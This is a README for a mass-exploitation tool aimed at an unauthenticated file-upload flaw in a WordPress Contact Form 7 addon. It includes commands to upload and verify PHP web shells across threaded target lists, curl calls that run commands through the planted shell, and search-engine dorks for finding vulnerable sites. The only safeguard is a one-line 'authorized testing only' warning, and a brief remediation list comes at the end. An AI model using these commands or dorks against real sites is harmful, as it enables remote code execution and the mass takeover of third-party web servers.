CVE-2026-82901 — Ultra Addons for Contact Form 7 Mass Exploiter (GUI + CLI)

A scanner and mass-exploitation tool for CVE-2026-82901 — an Unauthenticated Arbitrary File Upload vulnerability (CWE-434, CVSS 3.1 9.8 Critical) in the WordPress plugin Ultra Addons for Contact Form 7 (Themefic), affecting versions ≤ 3.5.50.

Two interfaces are provided:

• GUI (Tkinter) — for day-to-day use with live result monitoring.
• CLI — for automation, scripting, and headless mass runs.

⚠️ Authorized testing only. See Disclaimer.

---

Vulnerability Summary

Item	Detail
CVE	CVE-2026-82901
Plugin	ultimate-addons-for-contact-form-7 (Ultra Addons for Contact Form 7)
Vendor	Themefic
Class	CWE-434 — Unrestricted Upload of File with Dangerous Type
Affected versions	≤ 3.5.50
Patched version	3.5.51+
CVSS 3.1	9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Authentication	Not required (unauthenticated)
Vulnerable function	uacf7_wpcf7_mail_components (the PDF Generator module)
Vector	CF7 REST POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback with the signature field
Write path	/wp-content/uploads/uacf7-uploads/
Impact	Arbitrary file upload → RCE when PHP executes inside the uploads directory
References	NVD · CVE.org

Exploitation condition: the PDF Generator module must be enabled and the form must contain a uacf7_signature field. This module is disabled by default, so not every site running a vulnerable plugin version is actually exploitable.

---

Features

• Plugin fingerprinting + version detection from readme.txt
• Automatic CF7 page discovery (candidate paths + sitemap.xml) with form verification
• Automatic signature field name detection from HTML
• Multipart upload to the CF7 REST endpoint, with a non-REST fallback
• Shell execution verification via a unique marker
• check (mapping) and exploit (upload + verification) modes
• Multi-threaded mass mode with a target list file
• Support for relative --form-url (/contact/) resolved per target
• Target list supports an optional second column for a per-target form path
• Output: results.jsonl (full detail) + hits.txt (successful targets)
• GUI: color-coded results table, live log, Start/Stop buttons, CSV export

---

Installation

git clone https://github.com/tonydelouvre/CVE-2026-82901.git
cd CVE-2026-82901
pip install -r requirements.txt

requirements.txt

requests>=2.31.0
urllib3>=2.0.0

tkinter ships with Python. If it is missing (Linux): sudo apt install python3-tk.

---

Usage — GUI

python gui_82901.py

Workflow:

1. Enter a single URL or select a target list file (choose one).
2. Form URL: leave empty for auto-discovery, or enter /contact/ (relative path), or an absolute URL.
3. Choose the Mode: check or exploit.
4. Adjust threads (start with 10), timeout, and proxy if needed.
5. Click ▶ Start.

Table row colors:

Color	Meaning
🟩 Green	shell_verified — success, the shell column is populated
🟨 Yellow	vuln_candidate_sig_field — strong candidate
🟥 Red	error

Helper buttons: ■ Stop (safe shutdown), Clear log, Open hits, Open output, Export CSV.

---

Usage — CLI

Single target

# Fingerprint / candidate detection
python mass_82901.py -u https://target.tld --mode check

# Exploit (upload shell + verify)
python mass_82901.py -u https://target.tld --mode exploit \
    --form-url https://target.tld/contact/ --shell-name wp_82901.php

Mass mode

# Mass mapping with a uniform form path (relative)
python mass_82901.py -l targets.txt --mode check -j 20 --form-url /contact/

# Mass exploit
python mass_82901.py -l targets.txt --mode exploit -j 10 --form-url /contact/

# Without --form-url -> per-target auto-discovery
python mass_82901.py -l targets.txt --mode exploit -j 10

targets.txt format

# one URL per line
https://a.tld

# optional second column: a per-target form path/URL
https://b.tld    /hubungi-kami/
https://c.tld |  https://c.tld/custom-contact/
https://d.tld ;  /kontak/

The second column separator can be TAB, |, or ;. Priority: per-target override > global --form-url > auto-discovery.

CLI arguments

Argument	Default	Description
-u, --url	—	Single target base URL
-l, --list	—	Target list file
--mode	check	check or exploit
--form-url	—	Absolute URL or relative path (/contact/)
--field	auto	Signature field name
--shell-name	wp_82901.php	Name of the uploaded file
--verify-url	—	Shell URL if already known
-j, --threads	10	Number of workers
--timeout	25	Request timeout (seconds)
--proxy	—	HTTP(S) proxy
--output	cve_2026_82901_results.jsonl	JSONL results file
--vuln-list	hits.txt	Successful-targets file
-q, --quiet	off	Reduce output

---

Result Statuses

Status	Meaning
not_found	Plugin not detected
not_vulnerable	Plugin present, version > 3.5.50 (patched)
plugin_found_version_unknown	Plugin present, version unreadable
plugin_ok_no_signature_field	Plugin present, no signature field → PDF module likely off
vuln_candidate_sig_field	Plugin ≤ 3.5.50 and a signature field exists → strong candidate
plugin_found_no_form	Plugin present, no CF7 form found
shell_verified	Success — shell uploaded and executed
exploit_inconclusive	Upload attempted, verification failed
error	Exception while processing the target

Why exploit_inconclusive?

It does not mean the target is safe. Likely causes:

1. The PDF Generator module is disabled (off by default) — the most common cause.
2. CF7 rejects the file type/mimetype before it reaches the handler.
3. The upload path uses an unpredictable timestamp/hash prefix.
4. The signature field name does not match the fallback list.
5. The uploads directory does not execute PHP (hardening).

Use check mode to filter for vuln_candidate_sig_field, then run a single-target exploit with the correct --field/--shell-name.

---

Manual Verification

After a shell_verified status, test execution:

curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php"
# -> POCBIT-82901-OK

curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php?c=id"
# -> POCBIT-82901-OK
#    uid=33(www-data) gid=33(www-data) groups=33(www-data)

The POCBIT-82901-OK marker is the string the tool uses to validate execution.

---

Reconnaissance

Dorks for finding targets (Google / FOFA / Shodan):

body="/wp-content/plugins/ultimate-addons-for-contact-form-7"
body="uacf7" "wpcf7"

---

Remediation

• Upgrade the plugin to 3.5.51+.
• Disable the PDF Generator module if it is not used.
• Restrict PHP execution inside /wp-content/uploads/ (e.g. php_flag engine off, block .php handlers).
• Add a WAF rule to block executable-file uploads to the CF7 feedback endpoint.
• Periodically monitor for vulnerable plugin versions.

---

Legal Notice & Disclaimer